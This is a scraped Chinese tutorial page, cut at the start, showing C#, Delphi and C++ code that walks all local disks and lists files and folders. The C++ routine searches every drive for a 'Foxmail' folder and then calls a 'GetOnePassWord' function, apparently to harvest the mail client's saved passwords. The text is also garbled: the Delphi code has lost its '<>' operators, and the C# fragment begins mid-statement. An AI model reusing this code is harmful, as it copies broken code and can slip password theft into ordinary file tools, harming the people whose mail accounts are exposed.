不同编程语言遍历磁盘所有文件和文件夹实例

【菜科解读】
"); } private void ForEachDisk(string path) { DirectoryInfo dir = new DirectoryInfo(path); try { foreach (DirectoryInfo d in dir.GetDirectories()) { if (d.Name.Substring(0, 1) != "$" && d.Name != "System Volume Information") { ForEachDisk(d.FullName); Model m = new Model(); m.name = d.Name; m.path = d.FullName; dirs.Add(m); listBox1.Items.Add(d.FullName); } } } catch (Exception ex) { MessageBox.Show("错误提示:统计信息可能不完善。
" + ex.Message); return; } foreach (FileInfo f in dir.GetFiles()) { Model m = new Model(); m.name = f.Name; m.path = f.FullName; files.Add(m); listBox2.Items.Add(f.FullName); } }} public class Model{ private string _name; //private string _type; private string _path; public string name { get { return _name; } set { _name = value; } } //public string type { get { return _type; } set { _type = value; } } public string path { get { return _path; } set { _path = value; } }}
这里没有用树形结构表示,而是用了列表的方式保存信息,方便日后信息的查找。
2、delphi 遍历硬盘所有文件目录
//一个遍历所有硬盘的所有目录的实例源码: unit Unit1; interface uses Windows, Messages, FileCtrl,SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, ImgList, ExtCtrls; type TForm1 = class(TForm) TreeView: TTreeView; Button3: TButton; procEDure Button3Click(Sender: TObject); private { Private declarations } public procedure CreateDirectoryTree(RootDir, RootCaption: string); end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.CreateDirectoryTree(RootDir, RootCaption: string); procedure AddSubDirToTree(RootNode: TTreeNode); var SearchRec: TSearchRec; Path: string; Found: integer; begin Path := PChar(RootNode.Data) + '\*.*'; Found := FindFirst(Path, faAnyFile, SearchRec); while Found = 0 do begin if (SearchRec.Attr = faDirectory) and (SearchRec.Name '.') and (SearchRec.Name '..') then AddSubDirToTree(TreeView.Items.AddChildObject(RootNode, SearchRec.Name, PChar(PChar(RootNode.Data) + '\' + SearchRec.Name))); Found := FindNext(SearchRec); end; FindClose(SearchRec); end; begin //TreeView.Items.Clear; AddSubDirToTree(TreeView.Items.AddObject(nil, RootCaption, PChar(RootDir))); end; procedure TForm1.Button3Click(Sender: TObject); var i:integer; abc:Tstrings; s:string; begin abc:=TStringlist.Create; for i:=0 to 23 do begin s := Chr(65+i)+':\'; // if GetDriveType(PChar(s))= DRIVE_cdrom then if directoryexists(s) then begin s:=copy(s,0,2) ; abc.Add(s); end; end; for i:=0 to abc.Count-1 do BEGIN S:=abc.strings[i]; CreateDirectoryTree(S, '['+s+'\]'); END end; end.
3、C++获取本地所有磁盘并遍历磁盘下所有文件、文件夹
3.1获取本地磁盘符号[cpp] view plaincopyvoid GetComputerDisk() //获取本地电脑的磁盘符号 { OutputDebugString("GetComputerDisk"); TCHAR buf[100]; DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf); TCHAR *s = buf; UINT IsCDRom; for (; *s; s+=_tcslen(s)+1) { /*LPCTSTR sDrivePath = s; */ CString strDisks = s; //单个盘符 IsCDRom=GetDriveType(strDisks); if (IsCDRom==DRIVE_CDROM) { OutputDebugString("CD-ROM"); continue; } OutputDebugString(strDisks); TCFindFile(strDisks); } } 3.2遍历每个磁盘下的所有文件、文件夹[cpp] view plaincopyvoid TCFindFile(CString FilePath) { OutputDebugString("TCFindFile"); CFileFind find; CString Dir = FilePath+"*.*"; BOOL res =find.FindFile(Dir); //OutputDebugString(Dir); if (!res) { OutputDebugString("DiskScanOver!"); return; } while(res) { CString Filename; CString tmp; res = find.FindNextFile(); if (find.IsDirectory() && !find.IsDots()) //目录是文件夹 { Filename = find.GetFileName(); tmp = Dir.Left(Dir.GetLength() - 3) + Filename; if (Filename == "Foxmail") { //执行后续操作 OutputDebugString(tmp); TheRightFoxmailPath = tmp; OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"); GetOnePassWord(); return; } tmp += "//"; TCFindFile(tmp); } } }
不同,编程语言,遍历,磁盘,所有,文件,和,、,